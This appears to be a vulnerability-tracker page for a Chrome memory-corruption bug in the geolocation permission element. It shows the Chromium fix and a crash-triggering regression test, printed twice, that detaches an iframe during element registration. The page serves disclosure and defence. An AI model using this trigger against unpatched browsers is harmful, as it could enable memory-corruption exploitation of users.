Chrome · HTML › CE
CVE-2026-118317
Memory Corruption in HTML (CE)
Overview
High
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifthird_party/blink/web_tests/external/wpt/html/semantics/permission-element/geolocation-element/remove-iframe-during-register-crash.html |
modified | |
nextthird_party/blink/web_tests/external/wpt/html/semantics/permission-element/geolocation-element/remove-iframe-during-register-crash.html |
modified |
Files Changed
third_party/blink/renderer/core/html/html_capability_element_base.ccthird_party/blink/web_tests/external/wpt/html/semantics/permission-element/geolocation-element/remove-iframe-during-register-crash.html
Patch
From 6563f89211c484d3cfb7866d875045d806e505a4 Mon Sep 17 00:00:00 2001 From: Ravjit Uppal <[email protected]> Date: Thu, 15 Oct 2026 09:12:06 -0700 Subject: [PATCH] [CE]Prevent crash when frame is detached during capability element registration Creating the embedded permission request descriptor can trigger layout updates or script execution that detaches the frame or execution context. This change invokes CreateEmbeddedPermissionRequestDescriptor earlier and verifies that the frame, rendered state, receiver binding, and execution context remain valid before proceeding with registration or permission requests. Bug: 568730797 Change-Id: Icd2ac6cfc17a222620e31cbbab88cc31d7c86b7b Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8572457 Reviewed-by: Joey Arhar <[email protected]> Reviewed-by: Thomas Nguyen <[email protected]> Auto-Submit: Ravjit Uppal <[email protected]> Commit-Queue: Ravjit Uppal <[email protected]> Cr-Commit-Position: refs/heads/main@{#1719744} --- diff --git a/third_party/blink/renderer/core/html/html_capability_element_base.cc b/third_party/blink/renderer/core/html/html_capability_element_base.cc index ad94256..c7e1bbf 100644 --- a/third_party/blink/renderer/core/html/html_capability_element_base.cc +++ b/third_party/blink/renderer/core/html/html_capability_element_base.cc @@ -693,13 +693,25 @@ return false; } + // `CreateEmbeddedPermissionRequestDescriptor()` computes `BoundsInWidget()`, + // which forces a synchronous style and layout update. That update can + // re-entrantly register this control, detach the frame, or change whether + // the element is rendered, so re-verify these conditions afterwards. + auto descriptor = CreateEmbeddedPermissionRequestDescriptor(); + if (embedded_permission_control_receiver_.is_bound()) { + return true; + } + if (!GetDocument().GetFrame() || !IsRendered()) { + return false; + } + mojo::PendingRemote<EmbeddedPermissionControlClient> client; embedded_permission_control_receiver_.Bind( client.InitWithNewPipeAndPassReceiver(), GetTaskRunner()); CHECK(embedded_permission_control_receiver_.is_bound()); GetPermissionService()->RegisterPageEmbeddedPermissionControl( - mojo::Clone(permission_descriptors_), - CreateEmbeddedPermissionRequestDescriptor(), std::move(client)); + mojo::Clone(permission_descriptors_), std::move(descriptor), + std::move(client)); return true; } @@ -1133,9 +1145,15 @@ CHECK_LE(permission_descriptors_.size(), 2U); pending_request_created_ = base::TimeTicks::Now(); + // `CreateEmbeddedPermissionRequestDescriptor()` forces a synchronous layout + // update, which may detach the frame or make the element unrendered. + auto descriptor = CreateEmbeddedPermissionRequestDescriptor(); + if (!GetDocument().GetFrame() || !IsRendered()) { + return; + } + GetPermissionService()->RequestPageEmbeddedPermission( - mojo::Clone(permission_descriptors_), - CreateEmbeddedPermissionRequestDescriptor(), + mojo::Clone(permission_descriptors_), std::move(descriptor), BindOnce(&HTMLCapabilityElementBase::OnEmbeddedPermissionsDecided, WrapWeakPersistent(this))); } diff --git a/third_party/blink/web_tests/external/wpt/html/semantics/permission-element/geolocation-element/remove-iframe-during-register-crash.html b/third_party/blink/web_tests/external/wpt/html/semantics/permission-element/geolocation-element/remove-iframe-during-register-crash.html new file mode 100644 index 0000000..42f16249 --- /dev/null +++ b/third_party/blink/web_tests/external/wpt/html/semantics/permission-element/geolocation-element/remove-iframe-during-register-crash.html @@ -0,0 +1,53 @@ +<!doctype html> +<meta charset="utf-8"> +<title>Detaching iframe during geolocation registration layout should not crash</title> +<link rel="help" href="https://github.com/WICG/PEPC/blob/main/explainer.md"> +<body> +<svg width="0" height="0"><defs> +<g id="a"><rect id="r" width="10" height="10" tabindex="0"/></g> +<g id="b"><rect width="10" height="10" tabindex="0"/></g> +</defs></svg> +<dialog id="d"><svg width="20" height="20"><use id="v" href="#a"/></svg></dialog> +<script> +let useInstance = null; +r.addEventListener('focus', (e) => { + useInstance = e.currentTarget; +}, { once: true }); + +d.show(); + +const inner = document.createElement('iframe'); +if (useInstance) { + const fo = document.createElementNS('http://www.w3.org/2000/svg', 'foreignObject'); + fo.appendChild(inner); + useInstance.parentNode.appendChild(fo); +} else { + document.body.appendChild(inner); +} + +let inside = false; +const iterator = { + next() { return new Promise(() => {}); }, + get return() { + if (inside) { + inner.remove(); + } + } +}; +if (typeof Observable !== 'undefined' && document.when) { + Observable.from({ [Symbol.asyncIterator]() { return iterator; } }) + .takeUntil(document.when('focusout')) + .subscribe({}); +} + +const doc = inner.contentDocument; +const control = doc.createElement('geolocation'); +doc.body.appendChild(control); +inner.contentWindow.getComputedStyle(control).color; + +v.setAttribute('href', '#b'); +inside = true; +control.setAttribute('data-x', '1'); +inside = false; +</script> +</body>
Loading diff…
Regression Test / PoC
shipped with the fix
diff --git a/third_party/blink/web_tests/external/wpt/html/semantics/permission-element/geolocation-element/remove-iframe-during-register-crash.html b/third_party/blink/web_tests/external/wpt/html/semantics/permission-element/geolocation-element/remove-iframe-during-register-crash.html
new file mode 100644
index 0000000..42f16249
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/html/semantics/permission-element/geolocation-element/remove-iframe-during-register-crash.html
@@ -0,0 +1,53 @@
+<!doctype html>
+<meta charset="utf-8">
+<title>Detaching iframe during geolocation registration layout should not crash</title>
+<link rel="help" href="https://github.com/WICG/PEPC/blob/main/explainer.md">
+<body>
+<svg width="0" height="0"><defs>
+<g id="a"><rect id="r" width="10" height="10" tabindex="0"/></g>
+<g id="b"><rect width="10" height="10" tabindex="0"/></g>
+</defs></svg>
+<dialog id="d"><svg width="20" height="20"><use id="v" href="#a"/></svg></dialog>
+<script>
+let useInstance = null;
+r.addEventListener('focus', (e) => {
+ useInstance = e.currentTarget;
+}, { once: true });
+
+d.show();
+
+const inner = document.createElement('iframe');
+if (useInstance) {
+ const fo = document.createElementNS('http://www.w3.org/2000/svg', 'foreignObject');
+ fo.appendChild(inner);
+ useInstance.parentNode.appendChild(fo);
+} else {
+ document.body.appendChild(inner);
+}
+
+let inside = false;
+const iterator = {
+ next() { return new Promise(() => {}); },
+ get return() {
+ if (inside) {
+ inner.remove();
+ }
+ }
+};
+if (typeof Observable !== 'undefined' && document.when) {
+ Observable.from({ [Symbol.asyncIterator]() { return iterator; } })
+ .takeUntil(document.when('focusout'))
+ .subscribe({});
+}
+
+const doc = inner.contentDocument;
+const control = doc.createElement('geolocation');
+doc.body.appendChild(control);
+inner.contentWindow.getComputedStyle(control).color;
+
+v.setAttribute('href', '#b');
+inside = true;
+control.setAttribute('data-x', '1');
+inside = false;
+</script>
+</body>
Loading diff…
Original Bug Report
The reporter's bug is still restricted on the tracker. Chrome de-restricts security bugs ~30–90 days after the fix ships; a later run will backfill it here.
References
On This Page